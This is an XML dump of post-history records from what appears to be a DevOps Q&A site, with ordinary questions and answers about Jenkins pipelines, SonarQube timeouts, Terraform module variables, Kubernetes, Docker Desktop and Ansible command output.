  <row Id="30679" PostHistoryTypeId="10" PostId="6195" RevisionGUID="1e9ed558-c5d3-48c6-815f-50f9956e9750" CreationDate="2019-12-19T14:03:58.577" UserId="210" Comment="104" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="30680" PostHistoryTypeId="10" PostId="9411" RevisionGUID="5c6ec8d3-83b8-4626-93f5-0ca042b14412" CreationDate="2019-12-19T14:04:17.000" UserId="210" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="30685" PostHistoryTypeId="5" PostId="10157" RevisionGUID="7d2c0160-0ff4-4218-a143-5221ef2731b1" CreationDate="2019-12-19T14:13:28.327" UserId="18729" Comment="Added some detail about the goal." Text="I have a job which I run with a boolean parameter called &quot;BUILD_CLEAN=true&quot;, and it defaults to false. I can store this flag in the job ID `currentBuild.displayName` . Simple enough. But for my purposes I also want to save the commit hash(es) of that build as well, which starts becoming a silly place to store metadata. I'm probably not getting the terminology right, but here is my use case.&#xD;&#xA;&#xD;&#xA;My Pipeline declarative job builds a repo, a subrepo and all using shell, and archives the binary artifacts. The code is of mixed types, so Artifactory is not an option for part of this solution either. I want to save just the hashes someplace, to make it easy for subsequent builds made in the same day (24 hours) to inspect/list them, and trigger a separate job with the full list for that day. Do I save these hashes/values into an XML file per build? What is the best way to make extracting small pieces of data easy? *GOAL:* I'm attempting to implement a kind of generalized incremental build job, but am unable to use any of the plugins since I'm building for 5 different targets, some of them across nodes. In my specially marked build (nightly) every 24 hours, I'm .bz2 zipping the objects so I can restore them for any incremental. So it's this archive that I'm wanting to find, check the hashes and retrieve into my workspace.&#xD;&#xA;&#xD;&#xA;TAGS: Jenkins,pipeline,tags,incremental (I'm unable to define any tags due to the rep system.)" ContentLicense="CC BY-SA 4.0" />
  <row Id="30690" PostHistoryTypeId="2" PostId="10161" RevisionGUID="83b3fa8c-8d54-46c2-aeb9-61af4dd630d0" CreationDate="2019-12-19T18:04:36.623" UserId="4115" Text="In the web UI, from the home page, navigate to Manage Jenkins &gt; Manage Nodes &gt; Configure.  This page has all of the health checks that Jenkins performs to determine if an executor is up.  The check you are concerned about is called &quot;Response Time&quot;.  You can disable the &quot;Response Time&quot; health check on this page.&#xD;&#xA;&#xD;&#xA;From the help text on the same page:&#xD;&#xA;&#xD;&#xA;&gt; This monitors the round trip network response time from the master to the agent, and if it goes above a threshold repeatedly, it marks the agent offline.&#xD;&#xA;&gt;&#xD;&#xA;&gt; This is useful for detecting unresponsive agents, or other network problems that clog the communication channel. More specifically, the master sends a no-op command to the agent, and checks the time it takes to get back the result of this no-op command. " ContentLicense="CC BY-SA 4.0" />
  <row Id="30691" PostHistoryTypeId="2" PostId="10162" RevisionGUID="19c49b0e-34db-4cb6-99a1-8e201290ce5b" CreationDate="2019-12-19T18:39:07.233" UserId="15792" Text="While this is possible it is not a best practice.  Whenever possible, containers should contain a single process.  The reasoning for this is:&#xD;&#xA;&#xD;&#xA; - It fosters a modular design where you can more easily plug and play components.  What if you decide not to use nginx and use asp.net core in the future?  If everything is tightly coupled in one container then the entire container will need to be reworked any time one of these components changes.  Look into [microservices][1] for more information on the benefits a modular design.&#xD;&#xA; - It is easier to parse container logs as each container will have its own distinct output.&#xD;&#xA; - If a process crashes and everything is in one container, the entire container will crash.  If you have them broken out across multiple containers, recovery is simplified.  While this may not be applicable for running standalone containers, it is very useful if the containers are running in a [Kubernetes Pod][2] as the Pod can restart.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/Microservices&#xD;&#xA;  [2]: https://kubernetes.io/docs/concepts/workloads/pods/pod/" ContentLicense="CC BY-SA 4.0" />
  <row Id="30692" PostHistoryTypeId="2" PostId="10163" RevisionGUID="6833793f-62f8-4c16-ab8d-2845c5083007" CreationDate="2019-12-19T18:40:15.103" UserId="6393" Text="My folder hierarchy looks like this:&#xD;&#xA;&#xD;&#xA;    /&#xD;&#xA;      -&gt; live/&#xD;&#xA;        : main.tf&#xD;&#xA;        : variables.tf&#xD;&#xA;      -&gt; modules/&#xD;&#xA;        -&gt; logs/&#xD;&#xA;          : logs.tf&#xD;&#xA;          : variables.tf&#xD;&#xA;&#xD;&#xA;In my `main.tf` I have:&#xD;&#xA;&#xD;&#xA;    module &quot;logs&quot; {&#xD;&#xA;      source = &quot;../modules/logs&quot;&#xD;&#xA;    &#xD;&#xA;      env = var.env&#xD;&#xA;      ...&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;In my `logs.tf` I have:&#xD;&#xA;&#xD;&#xA;    resource &quot;datadog_monitor&quot; &quot;logs-fatal&quot; {&#xD;&#xA;      env = var.env&#xD;&#xA;      ...&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;In both `variables.tf` files I have: &#xD;&#xA;&#xD;&#xA;    variable &quot;env&quot; {default = &quot;test&quot;} &#xD;&#xA;&#xD;&#xA;If I remove this from either of them, I'm given an `Unsupported argument` error - why? It's unclear to me in this scenario which variable will be taking precedence and why both sets are needed." ContentLicense="CC BY-SA 4.0" />
  <row Id="30693" PostHistoryTypeId="1" PostId="10163" RevisionGUID="6833793f-62f8-4c16-ab8d-2845c5083007" CreationDate="2019-12-19T18:40:15.103" UserId="6393" Text="Why does my Terraform config require variables in multiple places?" ContentLicense="CC BY-SA 4.0" />
  <row Id="30694" PostHistoryTypeId="3" PostId="10163" RevisionGUID="6833793f-62f8-4c16-ab8d-2845c5083007" CreationDate="2019-12-19T18:40:15.103" UserId="6393" Text="&lt;terraform&gt;&lt;terraform-module&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="30695" PostHistoryTypeId="2" PostId="10164" RevisionGUID="d39c0a0e-9fc0-40ad-8254-6d0aba7a7773" CreationDate="2019-12-19T19:10:46.887" UserId="18740" Text="We're building an on-premise Kubernetes cluster with Windows nodes. As a company policy, all Windows Servers needs an antivirus (symantec endpoint security).&#xD;&#xA;&#xD;&#xA;The antivirus would be installed on the nodes, and not as a pod.&#xD;&#xA;&#xD;&#xA;What do you think about installing an antivirus on Kubernetes nodes? Considering the great chance of false-positives when an antivirus have to deal with Docker." ContentLicense="CC BY-SA 4.0" />
  <row Id="30696" PostHistoryTypeId="1" PostId="10164" RevisionGUID="d39c0a0e-9fc0-40ad-8254-6d0aba7a7773" CreationDate="2019-12-19T19:10:46.887" UserId="18740" Text="Antivirus on Kubernetes cluster" ContentLicense="CC BY-SA 4.0" />
  <row Id="30697" PostHistoryTypeId="3" PostId="10164" RevisionGUID="d39c0a0e-9fc0-40ad-8254-6d0aba7a7773" CreationDate="2019-12-19T19:10:46.887" UserId="18740" Text="&lt;docker&gt;&lt;kubernetes&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="30698" PostHistoryTypeId="2" PostId="10165" RevisionGUID="aeab12f8-be81-482d-abaa-ab01fb158f68" CreationDate="2019-12-19T19:36:44.640" UserId="18007" Text="I have some pipelines in Jenkins, with the SonarQube stage. In some builds it is aborted due to time out:&#xD;&#xA;&#xD;&#xA;    12:19:01 Sleeping for 3 min 0 sec&#xD;&#xA;    [Pipeline] timeout&#xD;&#xA;    12:22:10 Timeout set to expire in 25 min&#xD;&#xA;    [Pipeline] waitForQualityGate&#xD;&#xA;    12:22:10 Checking status of SonarQube task 'XXXXXXXXXX' on server 'Sonar'&#xD;&#xA;    12:22:10 SonarQube task 'XXXXXXXXXX' status is 'PENDING'&#xD;&#xA;    12:47:10 Cancelling nested steps due to timeout&#xD;&#xA;&#xD;&#xA;and in some other builds it pass:&#xD;&#xA;&#xD;&#xA;    13:56:47 Sleeping for 3 min 0 sec&#xD;&#xA;    [Pipeline] timeout&#xD;&#xA;    13:59:47 Timeout set to expire in 25 min&#xD;&#xA;    [Pipeline] {&#xD;&#xA;    [Pipeline] waitForQualityGate&#xD;&#xA;    13:59:47 Checking status of SonarQube task 'XXXXXXXXXX' on server 'Sonar'&#xD;&#xA;    13:59:47 SonarQube task 'XXXXXXXXXXXX' status is 'SUCCESS'&#xD;&#xA;    13:59:47 SonarQube task 'XXXXXXXXXXXX' completed. Quality gate is 'WARN'&#xD;&#xA;&#xD;&#xA;what might be the reason for it? how can I keep it stable?" ContentLicense="CC BY-SA 4.0" />
  <row Id="30699" PostHistoryTypeId="1" PostId="10165" RevisionGUID="aeab12f8-be81-482d-abaa-ab01fb158f68" CreationDate="2019-12-19T19:36:44.640" UserId="18007" Text="Sonar Quality Gate behavior in Jenkins pipeline is unstable" ContentLicense="CC BY-SA 4.0" />
  <row Id="30700" PostHistoryTypeId="3" PostId="10165" RevisionGUID="aeab12f8-be81-482d-abaa-ab01fb158f68" CreationDate="2019-12-19T19:36:44.640" UserId="18007" Text="&lt;jenkins-pipeline&gt;&lt;jenkins-plugins&gt;&lt;sonarqube&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="30701" PostHistoryTypeId="2" PostId="10166" RevisionGUID="f465cb3c-6554-4118-8a30-13f30dccf98f" CreationDate="2019-12-19T19:39:19.563" UserId="18741" Text="Just getting started on Docker and after installing Docker Desktop on a Windows 10 Pro machine, the option to enable Kubernetes is missing from the context menu when using Windows containers. See the attached image. When I switch to Linux containers the option appears. Various reading I've done seems to indicate that it should be available to Windows containers too. What am I missing?&#xD;&#xA;&#xD;&#xA;Windows 10 Pro (10.0.17134.1006)&#xD;&#xA;&#xD;&#xA;Docker Desktop 2.1.0.5&#xD;&#xA;&#xD;&#xA;[![Context Menu from Docker Desktop missing Kubernetes Option][1]][1]&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/6KBzS.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="30702" PostHistoryTypeId="1" PostId="10166" RevisionGUID="f465cb3c-6554-4118-8a30-13f30dccf98f" CreationDate="2019-12-19T19:39:19.563" UserId="18741" Text="No Kubernetes Option in Docker Desktop for Windows" ContentLicense="CC BY-SA 4.0" />
  <row Id="30703" PostHistoryTypeId="3" PostId="10166" RevisionGUID="f465cb3c-6554-4118-8a30-13f30dccf98f" CreationDate="2019-12-19T19:39:19.563" UserId="18741" Text="&lt;docker&gt;&lt;kubernetes&gt;&lt;windows&gt;&lt;configuration&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="30704" PostHistoryTypeId="2" PostId="10167" RevisionGUID="2649976a-bc53-4ce0-a683-eec69fda493d" CreationDate="2019-12-19T20:13:10.923" UserId="12138" Text="You need to first switch to Edge version by going to the &#xD;&#xA;&#xD;&#xA;Docker -&gt; Settings -&gt; General tab.&#xD;&#xA;&#xD;&#xA;Then, you have to enable the kubernetes. &#xD;&#xA;&gt; Open Docker for Windows settings by accessing your system tray and navigate to the Kubernetes tab. Select the checkbox for Enable Kubernetes to start a single-node cluster when starting Docker.&#xD;&#xA;&#xD;&#xA;Reference: https://medium.com/@damiannolan/kubernetes-on-docker-for-windows-5ca0c6395668" ContentLicense="CC BY-SA 4.0" />
  <row Id="30705" PostHistoryTypeId="5" PostId="10165" RevisionGUID="96fd85ee-ef4e-4aa0-8c55-c7fb10e75441" CreationDate="2019-12-19T20:51:47.717" UserId="18007" Comment="added 318 characters in body" Text="I have some pipelines in Jenkins, with the SonarQube stage. In some builds it is aborted due to time out:&#xD;&#xA;&#xD;&#xA;    12:19:01 Sleeping for 3 min 0 sec&#xD;&#xA;    [Pipeline] timeout&#xD;&#xA;    12:22:10 Timeout set to expire in 25 min&#xD;&#xA;    [Pipeline] waitForQualityGate&#xD;&#xA;    12:22:10 Checking status of SonarQube task 'XXXXXXXXXX' on server 'Sonar'&#xD;&#xA;    12:22:10 SonarQube task 'XXXXXXXXXX' status is 'PENDING'&#xD;&#xA;    12:47:10 Cancelling nested steps due to timeout&#xD;&#xA;&#xD;&#xA;and in some other builds it pass:&#xD;&#xA;&#xD;&#xA;    13:56:47 Sleeping for 3 min 0 sec&#xD;&#xA;    [Pipeline] timeout&#xD;&#xA;    13:59:47 Timeout set to expire in 25 min&#xD;&#xA;    [Pipeline] {&#xD;&#xA;    [Pipeline] waitForQualityGate&#xD;&#xA;    13:59:47 Checking status of SonarQube task 'XXXXXXXXXX' on server 'Sonar'&#xD;&#xA;    13:59:47 SonarQube task 'XXXXXXXXXXXX' status is 'SUCCESS'&#xD;&#xA;    13:59:47 SonarQube task 'XXXXXXXXXXXX' completed. Quality gate is 'WARN'&#xD;&#xA;&#xD;&#xA;Trigger command in bitbucket file:&#xD;&#xA;&#xD;&#xA;		stage('Sonar Quality Gate') {&#xD;&#xA;			sleep 180&#xD;&#xA;			timeout(time: 25, unit: 'MINUTES') {&#xD;&#xA;				def qg = waitForQualityGate()&#xD;&#xA;						if (!(qg.status == 'OK' || qg.status == 'WARN')) {&#xD;&#xA;							error &quot;Pipeline aborted due to quality gate failure: ${qg.status}&quot;&#xD;&#xA;						}&#xD;&#xA;			}&#xD;&#xA;		}&#xD;&#xA;&#xD;&#xA;what might be the reason for it? how can I keep it stable?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="30706" PostHistoryTypeId="2" PostId="10168" RevisionGUID="c1509ab0-f0f1-4c86-b1c7-db4f8ae639ec" CreationDate="2019-12-20T01:46:28.410" UserId="2463" Text="Each module has its own set of input variables.&#xD;&#xA;&#xD;&#xA;The input variables for the root module are set when you run Terraform, e.g. on the command like with the `-var` option.&#xD;&#xA;&#xD;&#xA;The input variables for any child module, like your `module &quot;logs&quot;` here, are set inside the `module` block.&#xD;&#xA;&#xD;&#xA;Each variable declaration is valid only for the module it appears in. You happen to have given both of these variables the same name, which is fine and sensible as it helps a human reader understand that they represent the same concept, but Terraform considers these two variables entirely separate and requires you to declare and set both of them.&#xD;&#xA;&#xD;&#xA;As an analogy, consider a module as being somewhat equivalent to a function in a programming language. Each function defines its own arguments, and two functions might have an argument of the same name but they are still distinct by virtue of belonging to different functions:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;function main(env: string) {&#xD;&#xA;  logs(env)&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;function logs(env: string) {&#xD;&#xA;  // &quot;env&quot; in here is &quot;test&quot; because it was passed through&#xD;&#xA;  // the arguments of both of these functions, not because&#xD;&#xA;  // the arguments happened to have the same name in both&#xD;&#xA;  // functions.&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;// Calling main here is, for the purposes of this analogy,&#xD;&#xA;// corresponding to running: terraform apply -var=&quot;env=test&quot;&#xD;&#xA;main(&quot;test&quot;)&#xD;&#xA;```&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="30718" PostHistoryTypeId="2" PostId="10169" RevisionGUID="f44d6cc9-3e60-4d9d-a793-fa934e48cb61" CreationDate="2019-12-20T08:36:37.750" UserId="210" Text="According to the log there is something wrong with the Etcd certificate:&#xD;&#xA;&#xD;&#xA;    Error:  client: etcd cluster is unavailable or misconfigured; error #0: x509:&#xD;&#xA;    certificate signed by unknown authority&#xD;&#xA;    &#xD;&#xA;    error #0: x509: certificate signed by unknown authority&#xD;&#xA;&#xD;&#xA;Please read the documentation how to create etcd certificates again and try to fix it." ContentLicense="CC BY-SA 4.0" />
  <row Id="30719" PostHistoryTypeId="13" PostId="9215" RevisionGUID="95b14c48-0e4f-4cb1-b3c1-974163476e43" CreationDate="2019-12-20T08:37:25.820" UserId="210" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="30721" PostHistoryTypeId="10" PostId="9027" RevisionGUID="c78f8c08-6b0e-4d4f-bffd-7b0c95c652c0" CreationDate="2019-12-20T08:43:10.467" UserId="210" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="30722" PostHistoryTypeId="10" PostId="3061" RevisionGUID="0d601b4b-95c2-4d43-ae51-f8b8a741546a" CreationDate="2019-12-20T08:47:57.440" UserId="210" Comment="105" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="30723" PostHistoryTypeId="10" PostId="3017" RevisionGUID="c3ca97f3-c2df-4b53-9f61-903090c2a56b" CreationDate="2019-12-20T08:48:46.563" UserId="210" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="30724" PostHistoryTypeId="10" PostId="2298" RevisionGUID="249ebddf-ec7d-4d5d-aef5-1234cfcf1fd8" CreationDate="2019-12-20T08:50:19.707" UserId="210" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="30725" PostHistoryTypeId="10" PostId="9504" RevisionGUID="f5ba92ab-a2a5-473f-a838-0f7350165256" CreationDate="2019-12-20T08:51:27.593" UserId="210" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="30726" PostHistoryTypeId="10" PostId="9454" RevisionGUID="dd79d2a4-0e67-4751-ae74-c70a1643a698" CreationDate="2019-12-20T08:51:48.783" UserId="210" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="30727" PostHistoryTypeId="10" PostId="9387" RevisionGUID="bc8ffd4b-63fb-4d7d-a7e7-7437958e6bc1" CreationDate="2019-12-20T08:52:27.737" UserId="210" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="30728" PostHistoryTypeId="10" PostId="4688" RevisionGUID="ba988e7b-9432-4aaf-8206-f28e29bfd932" CreationDate="2019-12-20T08:56:14.647" UserId="210" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="30729" PostHistoryTypeId="50" PostId="8555" RevisionGUID="b988ed17-5ac6-48fc-ab61-534a1eefc660" CreationDate="2019-12-20T09:03:15.510" UserId="-1" />
  <row Id="30748" PostHistoryTypeId="2" PostId="10170" RevisionGUID="e2433f1d-b2b6-4090-90ad-e4ae9bbf2a99" CreationDate="2019-12-20T10:10:28.487" UserId="16959" Text="The issue has been resolved.&#xD;&#xA;This is for nodejs&#xD;&#xA;&#xD;&#xA;Need to install necessary dependencies either using yarn or npm.&#xD;&#xA;Once done, run &#xD;&#xA;```&#xD;&#xA;nyc --reporter=lcov yarn unit unit&#xD;&#xA;$ ./cc-test-reporter after-build -t lcov --exit-code $?&#xD;&#xA;```&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="30751" PostHistoryTypeId="10" PostId="9047" RevisionGUID="072e6d19-b798-423f-b960-447507832152" CreationDate="2019-12-20T10:18:58.470" UserId="210" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="30752" PostHistoryTypeId="2" PostId="10171" RevisionGUID="f601a796-584e-4be0-b98a-077c25eaa994" CreationDate="2019-12-20T10:35:13.467" UserId="210" Text="On June 30, 2016 [this issue][1] was created on GitHub to request the implementation of static IP on docker-swarm services.&#xD;&#xA;&#xD;&#xA;Since then multiple replies with thumbs up and down were added.&#xD;&#xA;&#xD;&#xA;At the time of writing on December 20, 2019 this issue is open and the feature has not been implemented.&#xD;&#xA;&#xD;&#xA;**Discussion**&#xD;&#xA;&#xD;&#xA;After reading all comments I strongly doubt whether static IPs will every be implemented in docker-swarm. On the other hand it is unclear why this issue has not been closed. If people would like to see that this feature gets implemented, one could create a Pull request or add a thumbs up to create more awareness.&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/moby/moby/issues/24170" ContentLicense="CC BY-SA 4.0" />
  <row Id="30753" PostHistoryTypeId="10" PostId="9919" RevisionGUID="1aa1bce7-5cca-4ea9-abb7-f58ee58d6d31" CreationDate="2019-12-20T10:37:51.300" UserId="210" Comment="105" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="30755" PostHistoryTypeId="5" PostId="2985" RevisionGUID="3c1f8c39-bd82-4790-93d0-3c5f6c518e81" CreationDate="2019-12-20T10:46:00.547" UserId="210" Comment="deleted 17 characters in body" Text="Here is my solution: (bitbucket-pipelines.yml)&#xD;&#xA;&#xD;&#xA;    pipelines:&#xD;&#xA;      default:&#xD;&#xA;        - step:&#xD;&#xA;            script:&#xD;&#xA;              - export DOCKER_COMPOSE_VERSION=1.18.0&#xD;&#xA;              - export DOCKER_COMPOSE_URL=https://github.com/docker/compose/releases/download/${DOCKER_COMPOSE_VERSION}/docker-compose-$(uname -s)-$(uname -m)&#xD;&#xA;              - curl -L $DOCKER_COMPOSE_URL &gt; docker-compose&#xD;&#xA;              - chmod +x docker-compose&#xD;&#xA;              - mv docker-compose /usr/local/bin&#xD;&#xA;              - docker-compose build --force-rm --no-cache --pull" ContentLicense="CC BY-SA 4.0" />
  <row Id="30765" PostHistoryTypeId="2" PostId="10172" RevisionGUID="63ea683a-723a-4c4e-ac2e-f196d1cd274e" CreationDate="2019-12-20T11:15:35.217" UserId="210" Text="Based on the error message it seems that the yaml is invalid:&#xD;&#xA;&#xD;&#xA;    Unsupported value: &quot;IfNotPresent:ef86dfe0b703&quot;: supported values: &#xD;&#xA;    &quot;Always&quot;, &quot;IfNotPresent&quot;, &quot;Never&quot;&#xD;&#xA;&#xD;&#xA;It seems that `IfNotPresent` contains some tag and that is unsupported." ContentLicense="CC BY-SA 4.0" />
  <row Id="30803" PostHistoryTypeId="2" PostId="10173" RevisionGUID="39f09c1b-14fe-48c8-ad8f-013843f41e3c" CreationDate="2019-12-20T13:03:54.703" UserId="16683" Text="You have to push your image in a registry in order to get the deployment working. Kubernetes does not deal with images (i.e. building, pushing...).&#xD;&#xA;&#xD;&#xA;Try `kubectl describe deployment mojo-deployment`, you'll get more informations about why it's pending (surely because it does not know how to get your Docker image)." ContentLicense="CC BY-SA 4.0" />
  <row Id="30804" PostHistoryTypeId="5" PostId="10171" RevisionGUID="d73f044c-8bc4-477d-9d5f-89b3f2e5730c" CreationDate="2019-12-20T13:25:44.613" UserId="210" Comment="deleted 1 character in body" Text="On June 30, 2016 [this issue][1] was created on GitHub to request the implementation of static IP on docker-swarm services.&#xD;&#xA;&#xD;&#xA;Since then multiple replies with thumbs up and down were added.&#xD;&#xA;&#xD;&#xA;At the time of writing on December 20, 2019 this issue is open and the feature has not been implemented.&#xD;&#xA;&#xD;&#xA;**Discussion**&#xD;&#xA;&#xD;&#xA;After reading all comments I strongly doubt whether static IPs will ever be implemented in docker-swarm. On the other hand it is unclear why this issue has not been closed. If people would like to see that this feature gets implemented, one could create a Pull request or add a thumbs up to create more awareness.&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/moby/moby/issues/24170" ContentLicense="CC BY-SA 4.0" />
  <row Id="30805" PostHistoryTypeId="2" PostId="10174" RevisionGUID="5ca4d6ef-7646-4c04-bd5f-937994ad7b89" CreationDate="2019-12-20T14:07:31.597" UserId="18751" Text="I have the simple ansible script below:&#xD;&#xA;&#xD;&#xA;1 ---&#xD;&#xA;      2 -&#xD;&#xA;      3   hosts: myhost&#xD;&#xA;      4   tasks:&#xD;&#xA;      5     - name: few commands&#xD;&#xA;      6       command: &quot;{{ item }}&quot;&#xD;&#xA;      7       with_items:&#xD;&#xA;      8         - ls -l&#xD;&#xA;      9         - df -h&#xD;&#xA;     10         - cat /tmp/1&#xD;&#xA;     11 ...&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;there will be more commands and files, how I can display the execution of each command ?&#xD;&#xA;&#xD;&#xA;Thanks.&#xD;&#xA;Michael." ContentLicense="CC BY-SA 4.0" />
  <row Id="30806" PostHistoryTypeId="1" PostId="10174" RevisionGUID="5ca4d6ef-7646-4c04-bd5f-937994ad7b89" CreationDate="2019-12-20T14:07:31.597" UserId="18751" Text="ansible question to execute and display multiple commands" ContentLicense="CC BY-SA 4.0" />
  <row Id="30807" PostHistoryTypeId="3" PostId="10174" RevisionGUID="5ca4d6ef-7646-4c04-bd5f-937994ad7b89" CreationDate="2019-12-20T14:07:31.597" UserId="18751" Text="&lt;ansible&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="30808" PostHistoryTypeId="5" PostId="10174" RevisionGUID="c9df5961-6ed1-4b8e-ab44-db4ec5126e77" CreationDate="2019-12-20T14:12:47.313" UserId="210" Comment="deleted 21 characters in body" Text="I have the simple ansible script below:&#xD;&#xA;&#xD;&#xA;1 ---&#xD;&#xA;      2 -&#xD;&#xA;      3   hosts: myhost&#xD;&#xA;      4   tasks:&#xD;&#xA;      5     - name: few commands&#xD;&#xA;      6       command: &quot;{{ item }}&quot;&#xD;&#xA;      7       with_items:&#xD;&#xA;      8         - ls -l&#xD;&#xA;      9         - df -h&#xD;&#xA;     10         - cat /tmp/1&#xD;&#xA;     11 ...&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;there will be more commands and files, how I can display the execution of each command ?" ContentLicense="CC BY-SA 4.0" />
  <row Id="30809" PostHistoryTypeId="5" PostId="10174" RevisionGUID="1360c0ac-40bd-4c00-9130-06cd6d8e78fa" CreationDate="2019-12-20T14:13:09.073" UserId="18751" Comment="deleted 46 characters in body" Text="I have the simple ansible script below:&#xD;&#xA;&#xD;&#xA; ---&#xD;&#xA;      &#xD;&#xA; -&#xD;&#xA;&#xD;&#xA;   hosts: myhost&#xD;&#xA;&#xD;&#xA;   tasks:&#xD;&#xA;&#xD;&#xA;     - name: few commands&#xD;&#xA;&#xD;&#xA;       command: &quot;{{ item }}&quot;&#xD;&#xA;&#xD;&#xA;       with_items:&#xD;&#xA;&#xD;&#xA;         - ls -l&#xD;&#xA;&#xD;&#xA;         - df -h&#xD;&#xA;&#xD;&#xA;         - cat /tmp/1&#xD;&#xA;&#xD;&#xA;...&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;there will be more commands and files, how I can display the execution of each command ?&#xD;&#xA;&#xD;&#xA;Thanks.&#xD;&#xA;Michael." ContentLicense="CC BY-SA 4.0" />
  <row Id="30810" PostHistoryTypeId="5" PostId="10174" RevisionGUID="63d4e14f-a9ee-4967-8b51-b3dbdbf1bfd5" CreationDate="2019-12-20T14:14:43.247" UserId="210" Comment="deleted 44 characters in body" Text="I have the simple ansible script below:&#xD;&#xA;    &#xD;&#xA;    - hosts: myhost&#xD;&#xA;      tasks:&#xD;&#xA;        - name: few commands&#xD;&#xA;          command: &quot;{{ item }}&quot;&#xD;&#xA;          with_items:&#xD;&#xA;            - ls -l&#xD;&#xA;            - df -h&#xD;&#xA;            - cat /tmp/1&#xD;&#xA;&#xD;&#xA;there will be more commands and files, how I can display the execution of each command ?" ContentLicense="CC BY-SA 4.0" />
  <row Id="30811" PostHistoryTypeId="2" PostId="10175" RevisionGUID="f02e31a5-f15b-439c-a8c1-5225ec4c97dc" CreationDate="2019-12-20T14:18:45.517" UserId="210" Text="One could use `-vvv` to get the output of the commands while running the playbook:&#xD;&#xA;&#xD;&#xA;    changed: [localhost] =&gt; (item=echo helloworld) =&gt; {&#xD;&#xA;        &quot;ansible_loop_var&quot;: &quot;item&quot;, &#xD;&#xA;        &quot;changed&quot;: true, &#xD;&#xA;        &quot;cmd&quot;: [&#xD;&#xA;            &quot;echo&quot;, &#xD;&#xA;            &quot;helloworld&quot;&#xD;&#xA;        ], &#xD;&#xA;        &quot;delta&quot;: &quot;0:00:00.002517&quot;, &#xD;&#xA;        &quot;end&quot;: &quot;2019-12-20 15:20:09.042020&quot;, &#xD;&#xA;        &quot;invocation&quot;: {&#xD;&#xA;            &quot;module_args&quot;: {&#xD;&#xA;                &quot;_raw_params&quot;: &quot;echo helloworld&quot;, &#xD;&#xA;                &quot;_uses_shell&quot;: false, &#xD;&#xA;                &quot;argv&quot;: null, &#xD;&#xA;                &quot;chdir&quot;: null, &#xD;&#xA;                &quot;creates&quot;: null, &#xD;&#xA;                &quot;executable&quot;: null, &#xD;&#xA;                &quot;removes&quot;: null, &#xD;&#xA;                &quot;stdin&quot;: null, &#xD;&#xA;                &quot;stdin_add_newline&quot;: true, &#xD;&#xA;                &quot;strip_empty_ends&quot;: true, &#xD;&#xA;                &quot;warn&quot;: true&#xD;&#xA;            }&#xD;&#xA;        }, &#xD;&#xA;        &quot;item&quot;: &quot;echo helloworld&quot;, &#xD;&#xA;        &quot;rc&quot;: 0, &#xD;&#xA;        &quot;start&quot;: &quot;2019-12-20 15:20:09.039503&quot;, &#xD;&#xA;        &quot;stderr&quot;: &quot;&quot;, &#xD;&#xA;        &quot;stderr_lines&quot;: [], &#xD;&#xA;        &quot;stdout&quot;: &quot;helloworld&quot;, &#xD;&#xA;        &quot;stdout_lines&quot;: [&#xD;&#xA;            &quot;helloworld&quot;&#xD;&#xA;        ]&#xD;&#xA;    }" ContentLicense="CC BY-SA 4.0" />
